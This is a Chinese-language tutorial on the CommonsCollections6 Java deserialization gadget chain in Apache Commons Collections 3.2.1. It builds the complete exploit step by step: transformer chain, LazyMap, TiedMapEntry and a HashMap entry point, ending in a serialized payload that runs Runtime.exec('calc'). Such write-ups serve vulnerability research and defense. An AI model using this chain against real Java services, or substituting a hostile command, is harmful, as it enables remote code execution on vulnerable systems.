JAVA反序列化漏洞利用链之CC6

1.简介

  • 该链主要利用org.apache.commons.collections.functors.InvokerTransformer类可通过反射调用程序中任意方法,包括Runtime.getRuntime()方法。
  • pom.xml导入commons-collections依赖
1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
  • 该篇讲的是CC1中的一条链,也是原作者最开始用的一条链,前面一篇不过是之后的变种,也就是说这个才是原来那条最开始流行的CC1链。

2.代码分析

2.1.执行类分析(这部分和上一节一样)

  1. 在CC1中用来作为执行类的是org.apache.commons.collections.functors.InvokerTransformer
  2. 首先我们需要分析一下为什么该来可以用来作为执行类。
    • 在该类中存在一个可传入任意对象执行反射调用方法transform,改方法可传入一个Object类型的对象,且其中调用的方法名和方法参数都可通过构造方法进行控制。
    • 构造方法参数
      • methodName 需要调用方法的方法名。
      • paramTypes 调用方法的参数类型。
      • args 调用方法所传入的参数。
    • 通过控制该类对象我们可以调用任意的对象的任意方法,因此这个类是一个很好的执行类。
    • 并且该类实现了Serializable接口,是可序列化的类。
    • 该类是commons.collections中的类,也就是说只要导入了CC依赖的目标系统都存在该类。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}

//构造方法
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
  1. 我们再来分析一下我们如何通过这个类来实现执行系统命令。

    • 首先在JAVA中我们通常是通过Runtime.getRuntime.exec()来实现执行系统命令。
    • 但是由于Runtime类并未实现Serializable接口,因此不可进行序列化。不过由于Class类是实现了Serializable接口,因此我们可以通过反射调用。
    1
    2
    3
    4
    5
    Class c = Runtime.class;
    Method getRuntimeMethod = c.getMethod("getRuntime", null);
    Runtime r = (Runtime) getRuntimeMethod.invoke(null, null);
    Method execMethod = c.getMethod("exec", String.class);
    execMethod.invoke(r, "calc");
    • 我们再使用InvokerTransformer来调用
    1
    2
    3
    4
    Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);

    Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
    • 这样写的话我们需要调用三个对象的transform方法,实现起来比较困难。有没有什么方法将三个transform放在一起执行?
    • 这个时候我们可以看到和InvokerTransformer同一个包下的ChainedTransformer,该类可以传入transformer数组,并依次调用传入的对象的transform方法,并将前一个调用的结果作为后一个对象transform方法的入参。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    public ChainedTransformer(Transformer[] transformers) {
    super();
    iTransformers = transformers;
    }
    public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
    object = iTransformers[i].transform(object);
    }
    return object;
    }
    • 那么我们封装编写一下,就有如下的代码逻辑。
    1
    2
    3
    4
    5
    6
    7
    Transformer[] transformers = new Transformer[]{
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    chainedTransformer.transform(Runtime.class);
    • 但是该代码逻辑还是有个小问题,就是调用chainedTransformer.transform()方法需要我们固定传入一个Runtime.class,否则之后的代码逻辑无法再执行下去。
    • 因此基于以上的代码逻辑我们还可以优化一下。同样我们在同一个包下,我们可以看到叫ConstantTransformer的类,该类接收一个参数构造对象,之后该ConstantTransformer对象调用transform方法,无论调用transform方法传入什么对象,都只会返回我们构造参数时传入的参数,那么我们可以优化代码,这样写了之后无论 chainedTransformer.transform()传入什么参数都不影响代码的执行。
    1
    2
    3
    4
    5
    6
    7
    8
    public ConstantTransformer(Object constantToReturn) {
    super();
    iConstant = constantToReturn;
    }

    public Object transform(Object input) {
    return iConstant;
    }
    1
    2
    3
    4
    5
    6
    7
    8
    Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    chainedTransformer.transform("xxxx");
    • 那么这样优化代码之后我们只需要执行 chainedTransformer.transform()方法就可以执行到我们想要执行的系统命令。
  2. 最后什么执行类整体逻辑如下图。

image-20250114145918262

2.2.调用链

  1. 那么接下来我们需要寻找的就需要寻找有哪些类调用了有一个参数的transform()方法,或者是否直接有什么类的中的readObject方法中调用了该transform方法,由于我们使用了ConstanTransformer类进行配置,因此我们不需要在意transform()是否可控,只要调用了一个参数的transform()类都可以尝试调用链利用。
  2. 在IDEA中我们可以通过查找用法,找到都有哪些类方法对该方法进行了调用,之前我们找到找到org.apache.commons.collections.map.TransformedMap,现在我们还可以用另外一个类,也就是org.apache.commons.collections.map.Lazymap 这个类,其中的get()方法也调用了transform()方法,同时该类可序列化满足条件。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
   public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
  1. 此时我们需要找的是存在调用get方法的类,那么在这么多可以调用get方法的类中我们找到什么类呢,我们CC1-2使用到的AnnotationInvocationHandler类,我们还可以看到TiedMapEntry类,这个类有两个方法,分别是getValue和hashCode,其中getValue方法调用了map.get方法,

  2. 而其中的map我们也可以通过构造方法进行控制,因此接下来我们可以找谁调用了getValue这个方法,恰巧的是该类中的hashCode方法就刚好调用了自己的getValue方法,因此我们接下来的目标则变为了找hashCode的方法调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
public Object getValue() {
return map.get(key);
}
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
  • 因此我们可以编写如下代码
1
2
LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "asd");
  • 图例

image-20250210111950282

2.3.入口类

  1. hashCode 这个方法在我们之前什么时候用到过,URLDNS链! 其中HashMap类的readObject方法就间接调用了hashCode方法。细节为readObject调用了自身的hash方法。而自身的hash方法调用了可控对象key的hashCode方法,因此就形成了完美的调用链,只需要将TiedMapEntry。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
   static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;

// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
  • 接下来我们就可以编写如下代码
1
2
3
4
5
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, "asx");;

Serializer.serialize(hashMap);
Serializer.deSerialize("ser.bin");
  1. 我们运行后,发现成功弹出计算器,但是思考以下这对吗,我们仅执行反序列化试试。
1
2
3
4
5
6
public class DeSerializerTest {
public static void main(String[] args) throws IOException, ClassNotFoundException {
Serializer.deSerialize("ser.bin");
}
}

  1. 发现根本就没有成功弹出计算器,那么问题出在哪呢,我们重新走一遍逻辑,我们走到get方法的if时发现,其并没有走进if函数因此就没有走factory.trasform(key),自然也就无法执行命令,说明map的key,asd在此之前在第一次走if函数时已经被复制了,这个时候map已经包含了key,自然就不能进入if语句了,那么问题找到了,我们具体该如何做呢。

image-20250210104942986

  1. 既然lazymap中key,”asd“已经有了,那么我们只需要将其在序列化之前将移除即可。
1
lazyMap.remove("asd");
  1. 我们移除key之后,反序列化确实能执行代码了,但是还不够完美,因为我们直接执行代码的化会发现,弹出了两次计算器,也就是说在反序列化之前还执行了一次命令,为了完美我们可以这样配置。
1
2
3
4
5
6
7
8
9
//首先将ConstantTransformer的改为其他的transformer 任意transformer即可,为了其不再执行命令。
LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), new ConstantTransformer(1));
//之后我们再通过反射将chainedTransformer放进行
lazyMap.remove("asd");
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factory = lazyMapClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap,chainedTransformer);
//这样就完美解决了在反序列化之前就执行代码的问题。

2.4.完整代码逻辑

  1. 该链是相当好用的一条链,链非常的段,且java各版本可用,也没有CC版本的限制,可以说是最通用的一条链了。
  2. 不过该链需要注意其中的key被提前设置的问题,需要删除key,如果需要完美的化还需要之后通过反射来注入chainedTransformer执行类。以达到不重复执行命令的效果。

image-20250210112021422